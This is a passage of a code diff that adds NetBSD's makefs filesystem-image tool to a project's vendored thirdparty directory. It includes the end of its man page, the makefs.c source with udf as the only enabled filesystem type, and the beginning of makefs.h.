||||
.Ar directory
|
||||
first before creating
|
||||
.Ar image-file .
|
||||
No special devices or privileges are required to perform this task.
|
||||
.Pp
|
||||
The options are as follows:
|
||||
.Bl -tag -width flag
|
||||
.It Fl B Ar endian
|
||||
Set the byte order of the image to
|
||||
.Ar endian .
|
||||
Valid byte orders are
|
||||
.Ql 4321 ,
|
||||
.Ql big ,
|
||||
or
|
||||
.Ql be
|
||||
for big endian, and
|
||||
.Ql 1234 ,
|
||||
.Ql little ,
|
||||
or
|
||||
.Ql le
|
||||
for little endian.
|
||||
Some file systems may have a fixed byte order; in those cases this
|
||||
argument will be ignored.
|
||||
.It Fl b Ar free-blocks
|
||||
Ensure that a minimum of
|
||||
.Ar free-blocks
|
||||
free blocks exist in the image.
|
||||
An optional
|
||||
.Ql %
|
||||
suffix may be provided to indicate that
|
||||
.Ar free-blocks
|
||||
indicates a percentage of the calculated image size.
|
||||
.It Fl d Ar debug-mask
|
||||
Enable various levels of debugging, depending upon which bits are
|
||||
set in
|
||||
.Ar debug-mask .
|
||||
XXX: document these
|
||||
.It Fl F Ar mtree-specfile
|
||||
Use
|
||||
.Ar mtree-specfile
|
||||
as an
|
||||
.Xr mtree 8
|
||||
.Sq specfile
|
||||
specification.
|
||||
.Pp
|
||||
If a specfile entry exists in the underlying file system, its
|
||||
permissions and modification time will be used unless specifically
|
||||
overridden by the specfile.
|
||||
An error will be raised if the type of entry in the specfile
|
||||
conflicts with that of an existing entry.
|
||||
.Pp
|
||||
In the opposite case (where a specfile entry does not have an entry
|
||||
in the underlying file system) the following occurs:
|
||||
If the specfile entry is marked
|
||||
.Sy optional ,
|
||||
the specfile entry is ignored.
|
||||
Otherwise, the entry will be created in the image, and it is
|
||||
necessary to specify at least the following parameters in the
|
||||
specfile:
|
||||
.Sy type ,
|
||||
.Sy mode ,
|
||||
.Sy gname ,
|
||||
or
|
||||
.Sy gid ,
|
||||
and
|
||||
.Sy uname
|
||||
or
|
||||
.Sy uid ,
|
||||
.Sy device
|
||||
(in the case of block or character devices), and
|
||||
.Sy link
|
||||
(in the case of symbolic links).
|
||||
If
|
||||
.Sy time
|
||||
isn't provided, the current time will be used.
|
||||
If
|
||||
.Sy flags
|
||||
isn't provided, the current file flags will be used.
|
||||
Missing regular file entries will be created as zero-length files.
|
||||
.It Fl f Ar free-files
|
||||
Ensure that a minimum of
|
||||
.Ar free-files
|
||||
free files (inodes) exist in the image.
|
||||
An optional
|
||||
.Ql %
|
||||
suffix may be provided to indicate that
|
||||
.Ar free-files
|
||||
indicates a percentage of the calculated image size.
|
||||
.It Fl M Ar minimum-size
|
||||
Set the minimum size of the file system image to
|
||||
.Ar minimum-size .
|
||||
.It Fl m Ar maximum-size
|
||||
Set the maximum size of the file system image to
|
||||
.Ar maximum-size .
|
||||
An error will be raised if the target file system needs to be larger
|
||||
than this to accommodate the provided directory tree.
|
||||
.It Fl N Ar userdb-dir
|
||||
Use the user database text file
|
||||
.Pa master.passwd
|
||||
and group database text file
|
||||
.Pa group
|
||||
from
|
||||
.Ar userdb-dir ,
|
||||
rather than using the results from the system's
|
||||
.Xr getpwnam 3
|
||||
and
|
||||
.Xr getgrnam 3
|
||||
(and related) library calls.
|
||||
.It Fl O Ar offset
|
||||
Instead of creating the filesystem at the beginning of the file, start
|
||||
at offset.
|
||||
Valid only for
|
||||
.Sy ffs
|
||||
and
|
||||
.Sy msdos .
|
||||
.It Fl o Ar fs-options
|
||||
Set file system specific options.
|
||||
.Ar fs-options
|
||||
is a comma separated list of options.
|
||||
Valid file system specific options are detailed below.
|
||||
.It Fl r
|
||||
When merging multiple directories replace duplicate files with the last found.
|
||||
.It Fl S Ar sector-size
|
||||
Set the file system sector size to
|
||||
.Ar sector-size .
|
||||
.\" XXX: next line also true for cd9660?
|
||||
Defaults to 512.
|
||||
.It Fl s Ar image-size
|
||||
Set the size of the file system image to
|
||||
.Ar image-size .
|
||||
.It Fl t Ar fs-type
|
||||
Create an
|
||||
.Ar fs-type
|
||||
file system image.
|
||||
The following file system types are supported:
|
||||
.Bl -tag -width cd9660 -offset indent
|
||||
.It Sy ffs
|
||||
BSD fast file system (default).
|
||||
.It Sy cd9660
|
||||
ISO 9660 file system.
|
||||
.It Sy chfs
|
||||
Chip flash file system.
|
||||
.It Sy msdos
|
||||
FAT12, FAT16, or FAT32 file system.
|
||||
.It Sy v7fs
|
||||
7th Edition(V7) file system.
|
||||
.It Sy udf
|
||||
ISO/Ecma UDF file system.
|
||||
.El
|
||||
.It Fl x
|
||||
Exclude file system nodes not explicitly listed in the specfile.
|
||||
.It Fl Z
|
||||
Create a sparse file for
|
||||
.Sy ffs .
|
||||
This is useful for virtual machine images.
|
||||
.El
|
||||
.Pp
|
||||
Where sizes are specified, a decimal number of bytes is expected.
|
||||
Two or more numbers may be separated by an
|
||||
.Dq x
|
||||
to indicate a product.
|
||||
Each number may have one of the following optional suffixes:
|
||||
.Bl -tag -width 3n -offset indent -compact
|
||||
.It b
|
||||
Block; multiply by 512
|
||||
.It k
|
||||
Kibi; multiply by 1024 (1 KiB)
|
||||
.It m
|
||||
Mebi; multiply by 1048576 (1 MiB)
|
||||
.It g
|
||||
Gibi; multiply by 1073741824 (1 GiB)
|
||||
.It t
|
||||
Tebi; multiply by 1099511627776 (1 TiB)
|
||||
.It w
|
||||
Word; multiply by the number of bytes in an integer
|
||||
.El
|
||||
.\"
|
||||
.\"
|
||||
.Ss FFS-specific options
|
||||
.Sy ffs
|
||||
images have ffs-specific optional parameters that may be provided.
|
||||
Each of the options consists of a keyword, an equal sign
|
||||
.Pq Ql = ,
|
||||
and a value.
|
||||
The following keywords are supported:
|
||||
.Pp
|
||||
.Bl -tag -width optimization -offset indent -compact
|
||||
.It Sy avgfilesize
|
||||
Expected average file size.
|
||||
.It Sy avgfpdir
|
||||
Expected number of files per directory.
|
||||
.It Sy bsize
|
||||
Block size.
|
||||
.It Sy density
|
||||
Bytes per inode.
|
||||
.It Sy fsize
|
||||
Fragment size.
|
||||
.It Sy label
|
||||
Label name of the image.
|
||||
.It Sy maxbpg
|
||||
Maximum blocks per file in a cylinder group.
|
||||
.It Sy minfree
|
||||
Minimum % free.
|
||||
.It Sy optimization
|
||||
Optimization preference; one of
|
||||
.Ql space
|
||||
or
|
||||
.Ql time .
|
||||
.It Sy extent
|
||||
Maximum extent size.
|
||||
.It Sy maxbpcg
|
||||
Maximum total number of blocks in a cylinder group.
|
||||
.It Sy version
|
||||
UFS version.
|
||||
1 for FFS (default), 2 for UFS2.
|
||||
.El
|
||||
.Ss CD9660-specific options
|
||||
.Sy cd9660
|
||||
images have ISO9660-specific optional parameters that may be
|
||||
provided.
|
||||
The arguments consist of a keyword and, optionally, an equal sign
|
||||
.Pq Ql = ,
|
||||
and a value.
|
||||
The following keywords are supported:
|
||||
.Pp
|
||||
.Bl -tag -width omit-trailing-period -offset indent -compact
|
||||
.It Sy allow-deep-trees
|
||||
Allow the directory structure to exceed the maximum specified in
|
||||
the spec.
|
||||
.\" .It Sy allow-illegal-chars
|
||||
.\" Unknown
|
||||
.\" .It Sy allow-lowercase
|
||||
.\" Unknown
|
||||
.It Sy allow-max-name
|
||||
Allow 37 instead of 33 characters for filenames by omitting the
|
||||
version id.
|
||||
.It Sy allow-multidot
|
||||
Allow multiple dots in a filename.
|
||||
.It Sy applicationid
|
||||
Application ID of the image.
|
||||
.It Sy archimedes
|
||||
Use the
|
||||
.Ql ARCHIMEDES
|
||||
extension to encode
|
||||
.Tn RISC OS
|
||||
metadata.
|
||||
.It Sy chrp-boot
|
||||
Write an MBR partition table to the image to allow older CHRP hardware to
|
||||
boot.
|
||||
.It Sy boot-load-segment
|
||||
Set load segment for the boot image.
|
||||
.It Sy bootimage
|
||||
Filename of a boot image in the format
|
||||
.Dq sysid;filename ,
|
||||
where
|
||||
.Dq sysid
|
||||
is one of
|
||||
.Ql i386 ,
|
||||
.Ql mac68k ,
|
||||
.Ql macppc ,
|
||||
or
|
||||
.Ql powerpc .
|
||||
.It Sy generic-bootimage
|
||||
Load a generic boot image into the first 32K of the cd9660 image.
|
||||
.It Sy hard-disk-boot
|
||||
Boot image is a hard disk image.
|
||||
.It Sy keep-bad-images
|
||||
Don't throw away images whose write was aborted due to an error.
|
||||
For debugging purposes.
|
||||
.It Sy label
|
||||
Label name of the image.
|
||||
.It Sy no-boot
|
||||
Boot image is not bootable.
|
||||
.It Sy no-emul-boot
|
||||
Boot image is a
|
||||
.Dq no emulation
|
||||
ElTorito image.
|
||||
.It Sy no-trailing-padding
|
||||
Do not pad the image (apparently Linux needs the padding).
|
||||
.\" .It Sy omit-trailing-period
|
||||
.\" Unknown
|
||||
.It Sy preparer
|
||||
Preparer ID of the image.
|
||||
.It Sy publisher
|
||||
Publisher ID of the image.
|
||||
.It Sy rockridge
|
||||
Use RockRidge extensions (for longer filenames, etc.).
|
||||
.It Sy volumeid
|
||||
Volume set identifier of the image.
|
||||
.El
|
||||
.Ss CHFS-specific options
|
||||
.Sy chfs
|
||||
images have chfs-specific optional parameters that may be provided.
|
||||
Each of the options consists of a keyword, an equal sign
|
||||
.Pq Ql = ,
|
||||
and a value.
|
||||
The following keywords are supported:
|
||||
.Pp
|
||||
.Bl -tag -width optimization -offset indent -compact
|
||||
.It Sy pagesize
|
||||
Pagesize.
|
||||
.It Sy erasesize
|
||||
Erase block size of the media.
|
||||
.It Sy mediatype
|
||||
Type of the media.
|
||||
NOR: 0 or NAND: 1.
|
||||
.El
|
||||
.Ss msdos-specific options
|
||||
See
|
||||
.Xr newfs_msdos 8
|
||||
for fs specific options.
|
||||
.Ss V7FS-specific options
|
||||
The following keywords are supported:
|
||||
.Pp
|
||||
.Bl -tag -width optimization -offset indent -compact
|
||||
.It Sy pdp
|
||||
PDP endian.
|
||||
.It Sy progress
|
||||
Display a progress meter for the file system construction and file
|
||||
population.
|
||||
.El
|
||||
.Ss UDF-specific options
|
||||
.Sy udf
|
||||
images have udf-specific optional parameters that may be provided.
|
||||
Each of the options consists of a keyword, an equal sign
|
||||
.Pq Ql = ,
|
||||
and a value.
|
||||
The following keywords are supported:
|
||||
.Pp
|
||||
.Bl -tag -width optimization -compact
|
||||
.It Sy disctype
|
||||
This can have the following values:
|
||||
.Bl -tag -width cdromXdvdromXbdromXXX -compact
|
||||
.It Sy cdrom , Sy dvdrom , Sy bdrom
|
||||
create a read-only fs
|
||||
.It Sy dvdram , Sy bdre , Sy disk
|
||||
create a rewritable fs without sparing for defective sectors
|
||||
.It Sy cdr , Sy dvdr , Sy bdr
|
||||
create a rewritable fs on once recordable media using a VAT
|
||||
.It Sy cdrw , Sy dvdrw
|
||||
create a rewritable fs with sparing for defective sectors
|
||||
.El
|
||||
When an optical media is selected here, the sectorsize and the default disc
|
||||
size is assumed unless given explicitly.
|
||||
For rom images the disc size is the minimum needed.
|
||||
.It Sy loglabel
|
||||
Set the logical volume label of the disc to the specified argument.
|
||||
.It Sy discid
|
||||
Set the physical volume label of the disc to the specified argument.
|
||||
Prepend the physical volume label with a volumeset label separated
|
||||
with a ':' if wanted.
|
||||
For strict conformance and interchange, don't set the volumeset label
|
||||
manually unless it has an unique hex number in the first 8 character
|
||||
positions.
|
||||
.It Sy minver
|
||||
Set the minimum UDF version to be used.
|
||||
Choose UDF version numbers from 0x102, 0x150, 0x200, and 0x201.
|
||||
Versions 0x250 and 0x260 are currently not supported
|
||||
in
|
||||
.Nm .
|
||||
.El
|
||||
.Sh SEE ALSO
|
||||
.Xr strsuftoll 3 ,
|
||||
.Xr installboot 8 ,
|
||||
.Xr mtree 8 ,
|
||||
.Xr newfs 8
|
||||
.Sh HISTORY
|
||||
The
|
||||
.Nm
|
||||
utility appeared in
|
||||
.Nx 1.6 .
|
||||
.Sh AUTHORS
|
||||
.An Luke Mewburn
|
||||
.Aq lukem@NetBSD.org
|
||||
(original program),
|
||||
.An Daniel Watt ,
|
||||
.An Walter Deignan ,
|
||||
.An Ryan Gabrys ,
|
||||
.An Alan Perez-Rathke ,
|
||||
.An Ram Vedam
|
||||
(cd9660 support),
|
||||
.An UCHIYAMA Yasushi
|
||||
(v7fs support),
|
||||
.An Tamas Toth
|
||||
(chfs support).
|
||||
.An Christos Zoulas
|
||||
(msdos support).
|
||||
.An Reinoud Zandijk
|
||||
(udf support).
|
||||
447
thirdparty/makefs/makefs.c
vendored
Normal file
447
thirdparty/makefs/makefs.c
vendored
Normal file
@@ -0,0 +1,447 @@
|
||||
/* $NetBSD: makefs.c,v 1.50 2013/08/05 14:41:57 reinoud Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2001-2003 Wasabi Systems, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Written by Luke Mewburn for Wasabi Systems, Inc.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed for the NetBSD Project by
|
||||
* Wasabi Systems, Inc.
|
||||
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
|
||||
* or promote products derived from this software without specific prior
|
||||
* written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#if defined(__RCSID) && !defined(__lint)
|
||||
__RCSID("$NetBSD: makefs.c,v 1.50 2013/08/05 14:41:57 reinoud Exp $");
|
||||
#endif /* !__lint */
|
||||
|
||||
#include <assert.h>
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <stdbool.h>
|
||||
#include <time.h>
|
||||
#include "util.h"
|
||||
|
||||
#include <sys/time.h>
|
||||
#include <bsd/libutil.h>
|
||||
#include <bsd/string.h>
|
||||
|
||||
#include "makefs.h"
|
||||
#include "mtree.h"
|
||||
//#include "cd9660.h"
|
||||
|
||||
/* Forward declaration for strsuftoll from strstuff.c */
|
||||
long long strsuftoll(const char *desc, const char *val, long long min, long long max);
|
||||
|
||||
/*
|
||||
* list of supported file systems and dispatch functions
|
||||
*/
|
||||
typedef struct {
|
||||
const char *type;
|
||||
void (*prepare_options)(fsinfo_t *);
|
||||
int (*parse_options)(const char *, fsinfo_t *);
|
||||
void (*cleanup_options)(fsinfo_t *);
|
||||
void (*make_fs)(const char *, const char *, fsnode *,
|
||||
fsinfo_t *);
|
||||
} fstype_t;
|
||||
|
||||
static fstype_t fstypes[] = {
|
||||
#define ENTRY(name) { \
|
||||
# name, name ## _prep_opts, name ## _parse_opts, \
|
||||
name ## _cleanup_opts, name ## _makefs \
|
||||
}
|
||||
#if 0
|
||||
ENTRY(ffs),
|
||||
ENTRY(cd9660),
|
||||
ENTRY(chfs),
|
||||
ENTRY(v7fs),
|
||||
ENTRY(msdos),
|
||||
#endif
|
||||
ENTRY(udf),
|
||||
{ .type = NULL },
|
||||
};
|
||||
|
||||
u_int debug;
|
||||
struct timespec start_time;
|
||||
|
||||
static fstype_t *get_fstype(const char *);
|
||||
static void usage(fstype_t *, fsinfo_t *);
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
struct timeval start;
|
||||
fstype_t *fstype;
|
||||
fsinfo_t fsoptions;
|
||||
fsnode *root;
|
||||
int ch, i, len;
|
||||
char *specfile;
|
||||
|
||||
setprogname(argv[0]);
|
||||
|
||||
debug = 0;
|
||||
if ((fstype = get_fstype(DEFAULT_FSTYPE)) == NULL)
|
||||
errx(1, "Unknown default fs type `%s'.", DEFAULT_FSTYPE);
|
||||
|
||||
/* set default fsoptions */
|
||||
(void)memset(&fsoptions, 0, sizeof(fsoptions));
|
||||
fsoptions.fd = -1;
|
||||
fsoptions.sectorsize = -1;
|
||||
|
||||
if (fstype->prepare_options)
|
||||
fstype->prepare_options(&fsoptions);
|
||||
|
||||
specfile = NULL;
|
||||
if (gettimeofday(&start, NULL) == -1)
|
||||
err(1, "Unable to get system time");
|
||||
|
||||
start_time.tv_sec = start.tv_sec;
|
||||
start_time.tv_nsec = start.tv_usec * 1000;
|
||||
|
||||
while ((ch = getopt(argc, argv, "B:b:d:f:F:M:m:N:O:o:rs:S:t:xZ")) != -1) {
|
||||
switch (ch) {
|
||||
|
||||
case 'B':
|
||||
if (strcmp(optarg, "be") == 0 ||
|
||||
strcmp(optarg, "4321") == 0 ||
|
||||
strcmp(optarg, "big") == 0) {
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
fsoptions.needswap = 1;
|
||||
#endif
|
||||
} else if (strcmp(optarg, "le") == 0 ||
|
||||
strcmp(optarg, "1234") == 0 ||
|
||||
strcmp(optarg, "little") == 0) {
|
||||
#if BYTE_ORDER == BIG_ENDIAN
|
||||
fsoptions.needswap = 1;
|
||||
#endif
|
||||
} else {
|
||||
warnx("Invalid endian `%s'.", optarg);
|
||||
usage(fstype, &fsoptions);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'b':
|
||||
len = strlen(optarg) - 1;
|
||||
if (optarg[len] == '%') {
|
||||
optarg[len] = '\0';
|
||||
fsoptions.freeblockpc =
|
||||
strsuftoll("free block percentage",
|
||||
optarg, 0LL, 99);
|
||||
} else {
|
||||
fsoptions.freeblocks =
|
||||
strsuftoll("free blocks",
|
||||
optarg, 0LL, LLONG_MAX);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'd':
|
||||
debug = strtoll(optarg, NULL, 0);
|
||||
break;
|
||||
|
||||
case 'f':
|
||||
len = strlen(optarg) - 1;
|
||||
if (optarg[len] == '%') {
|
||||
optarg[len] = '\0';
|
||||
fsoptions.freefilepc =
|
||||
strsuftoll("free file percentage",
|
||||
optarg, 0, 99);
|
||||
} else {
|
||||
fsoptions.freefiles =
|
||||
strsuftoll("free files",
|
||||
optarg, 0, LLONG_MAX);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'F':
|
||||
specfile = optarg;
|
||||
break;
|
||||
|
||||
case 'M':
|
||||
fsoptions.minsize =
|
||||
strsuftoll("minimum size", optarg, 1LL, LLONG_MAX);
|
||||
break;
|
||||
|
||||
case 'N':
|
||||
// if (! setup_getid(optarg))
|
||||
errx(1,
|
||||
"Unable to use user and group databases in `%s'",
|
||||
optarg);
|
||||
break;
|
||||
|
||||
case 'm':
|
||||
fsoptions.maxsize =
|
||||
strsuftoll("maximum size", optarg, 1LL, LLONG_MAX);
|
||||
break;
|
||||
|
||||
case 'O':
|
||||
fsoptions.offset =
|
||||
strsuftoll("offset", optarg, 0LL, LLONG_MAX);
|
||||
break;
|
||||
|
||||
case 'o':
|
||||
{
|
||||
char *p;
|
||||
|
||||
while ((p = strsep(&optarg, ",")) != NULL) {
|
||||
if (*p == '\0')
|
||||
errx(1, "Empty option");
|
||||
if (! fstype->parse_options(p, &fsoptions))
|
||||
usage(fstype, &fsoptions);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 'r':
|
||||
fsoptions.replace = 1;
|
||||
break;
|
||||
|
||||
case 's':
|
||||
fsoptions.minsize = fsoptions.maxsize =
|
||||
strsuftoll("size", optarg, 1LL, LLONG_MAX);
|
||||
break;
|
||||
|
||||
case 'S':
|
||||
fsoptions.sectorsize =
|
||||
(int)strsuftoll("sector size", optarg,
|
||||
1LL, INT_MAX);
|
||||
break;
|
||||
|
||||
case 't':
|
||||
/* Check current one and cleanup if necessary. */
|
||||
if (fstype->cleanup_options)
|
||||
fstype->cleanup_options(&fsoptions);
|
||||
fsoptions.fs_specific = NULL;
|
||||
if ((fstype = get_fstype(optarg)) == NULL)
|
||||
errx(1, "Unknown fs type `%s'.", optarg);
|
||||
fstype->prepare_options(&fsoptions);
|
||||
break;
|
||||
|
||||
case 'x':
|
||||
fsoptions.onlyspec = 1;
|
||||
break;
|
||||
|
||||
case 'Z':
|
||||
fsoptions.sparse = 1;
|
||||
break;
|
||||
|
||||
case '?':
|
||||
default:
|
||||
usage(fstype, &fsoptions);
|
||||
/* NOTREACHED */
|
||||
|
||||
}
|
||||
}
|
||||
if (debug) {
|
||||
printf("debug mask: 0x%08x\n", debug);
|
||||
printf("start time: %ld.%ld, %s",
|
||||
(long)start_time.tv_sec, (long)start_time.tv_nsec,
|
||||
ctime(&start_time.tv_sec));
|
||||
}
|
||||
argc -= optind;
|
||||
argv += optind;
|
||||
|
||||
if (argc < 2)
|
||||
usage(fstype, &fsoptions);
|
||||
|
||||
/* -x must be accompanied by -F */
|
||||
if (fsoptions.onlyspec != 0 && specfile == NULL)
|
||||
errx(1, "-x requires -F mtree-specfile.");
|
||||
|
||||
/* walk the tree */
|
||||
TIMER_START(start);
|
||||
root = walk_dir(argv[1], ".", NULL, NULL, fsoptions.replace);
|
||||
TIMER_RESULTS(start, "walk_dir");
|
||||
|
||||
/* append extra directory */
|
||||
for (i = 2; i < argc; i++) {
|
||||
struct stat sb;
|
||||
if (stat(argv[i], &sb) == -1)
|
||||
err(1, "Can't stat `%s'", argv[i]);
|
||||
if (!S_ISDIR(sb.st_mode))
|
||||
errx(1, "%s: not a directory", argv[i]);
|
||||
TIMER_START(start);
|
||||
root = walk_dir(argv[i], ".", NULL, root, fsoptions.replace);
|
||||
TIMER_RESULTS(start, "walk_dir2");
|
||||
}
|
||||
|
||||
if (specfile) { /* apply a specfile */
|
||||
TIMER_START(start);
|
||||
// apply_specfile(specfile, argv[1], root, fsoptions.onlyspec);
|
||||
TIMER_RESULTS(start, "apply_specfile");
|
||||
}
|
||||
|
||||
if (debug & DEBUG_DUMP_FSNODES) {
|
||||
printf("\nparent: %s\n", argv[1]);
|
||||
dump_fsnodes(root);
|
||||
putchar('\n');
|
||||
}
|
||||
|
||||
/* build the file system */
|
||||
TIMER_START(start);
|
||||
fstype->make_fs(argv[0], argv[1], root, &fsoptions);
|
||||
TIMER_RESULTS(start, "make_fs");
|
||||
|
||||
free_fsnodes(root);
|
||||
|
||||
exit(0);
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
int
|
||||
set_option(const option_t *options, const char *option, char *buf, size_t len)
|
||||
{
|
||||
char *var, *val;
|
||||
int retval;
|
||||
|
||||
assert(option != NULL);
|
||||
|
||||
var = strdup(option);
|
||||
for (val = var; *val; val++)
|
||||
if (*val == '=') {
|
||||
*val++ = '\0';
|
||||
break;
|
||||
}
|
||||
retval = set_option_var(options, var, val, buf, len);
|
||||
free(var);
|
||||
return retval;
|
||||
}
|
||||
|
||||
int
|
||||
set_option_var(const option_t *options, const char *var, const char *val,
|
||||
char *buf, size_t len)
|
||||
{
|
||||
char *s;
|
||||
size_t i;
|
||||
|
||||
#define NUM(type) \
|
||||
if (!*val) { \
|
||||
*(type *)options[i].value = 1; \
|
||||
break; \
|
||||
} \
|
||||
*(type *)options[i].value = (type)strsuftoll(options[i].desc, val, \
|
||||
options[i].minimum, options[i].maximum); break
|
||||
|
||||
for (i = 0; options[i].name != NULL; i++) {
|
||||
if (var[1] == '\0') {
|
||||
if (options[i].letter != var[0])
|
||||
continue;
|
||||
} else if (strcmp(options[i].name, var) != 0)
|
||||
continue;
|
||||
switch (options[i].type) {
|
||||
case OPT_BOOL:
|
||||
*(bool *)options[i].value = 1;
|
||||
break;
|
||||
case OPT_STRARRAY:
|
||||
strlcpy((void *)options[i].value, val, (size_t)
|
||||
options[i].maximum);
|
||||
break;
|
||||
case OPT_STRPTR:
|
||||
s = strdup(val);
|
||||
*(char **)options[i].value = s;
|
||||
break;
|
||||
case OPT_STRBUF:
|
||||
if (buf == NULL)
|
||||
abort();
|
||||
strlcpy(buf, val, len);
|
||||
break;
|
||||
case OPT_INT64:
|
||||
NUM(uint64_t);
|
||||
case OPT_INT32:
|
||||
NUM(uint32_t);
|
||||
case OPT_INT16:
|
||||
NUM(uint16_t);
|
||||
case OPT_INT8:
|
||||
NUM(uint8_t);
|
||||
default:
|
||||
warnx("Unknown type %d in option %s", options[i].type,
|
||||
val);
|
||||
return 0;
|
||||
}
|
||||
return i;
|
||||
}
|
||||
warnx("Unknown option `%s'", var);
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
static fstype_t *
|
||||
get_fstype(const char *type)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; fstypes[i].type != NULL; i++)
|
||||
if (strcmp(fstypes[i].type, type) == 0)
|
||||
return (&fstypes[i]);
|
||||
return (NULL);
|
||||
}
|
||||
|
||||
option_t *
|
||||
copy_opts(const option_t *o)
|
||||
{
|
||||
size_t i;
|
||||
for (i = 0; o[i].name; i++)
|
||||
continue;
|
||||
i++;
|
||||
return memcpy(calloc(i, sizeof(*o)), o, i * sizeof(*o));
|
||||
}
|
||||
|
||||
static void
|
||||
usage(fstype_t *fstype, fsinfo_t *fsoptions)
|
||||
{
|
||||
const char *prog;
|
||||
|
||||
prog = getprogname();
|
||||
fprintf(stderr,
|
||||
"Usage: %s [-rxZ] [-B endian] [-b free-blocks] [-d debug-mask]\n"
|
||||
"\t[-F mtree-specfile] [-f free-files] [-M minimum-size] [-m maximum-size]\n"
|
||||
"\t[-N userdb-dir] [-O offset] [-o fs-options] [-S sector-size]\n"
|
||||
"\t[-s image-size] [-t fs-type] image-file directory [extra-directory ...]\n",
|
||||
"");
|
||||
|
||||
if (fstype) {
|
||||
size_t i;
|
||||
option_t *o = fsoptions->fs_options;
|
||||
|
||||
fprintf(stderr, "\n%s specific options:\n", fstype->type);
|
||||
for (i = 0; o[i].name != NULL; i++)
|
||||
fprintf(stderr, "\t%c%c%20.20s\t%s\n",
|
||||
o[i].letter ? o[i].letter : ' ',
|
||||
o[i].letter ? ',' : ' ',
|
||||
o[i].name, o[i].desc);
|
||||
}
|
||||
exit(1);
|
||||
}
|
||||
267
thirdparty/makefs/makefs.h
vendored
Normal file
267
thirdparty/makefs/makefs.h
vendored
Normal file
@@ -0,0 +1,267 @@
|
||||
/* $NetBSD: makefs.h,v 1.35 2013/08/05 14:41:57 reinoud Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2001 Wasabi Systems, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Written by Luke Mewburn for Wasabi Systems, Inc.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed for the NetBSD Project by
|
||||
* Wasabi Systems, Inc.
|
||||
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
|
||||
* or promote products derived from this software without specific prior
|
||||
* written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _MAKEFS_H
|
||||
#define _MAKEFS_H
|
||||
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
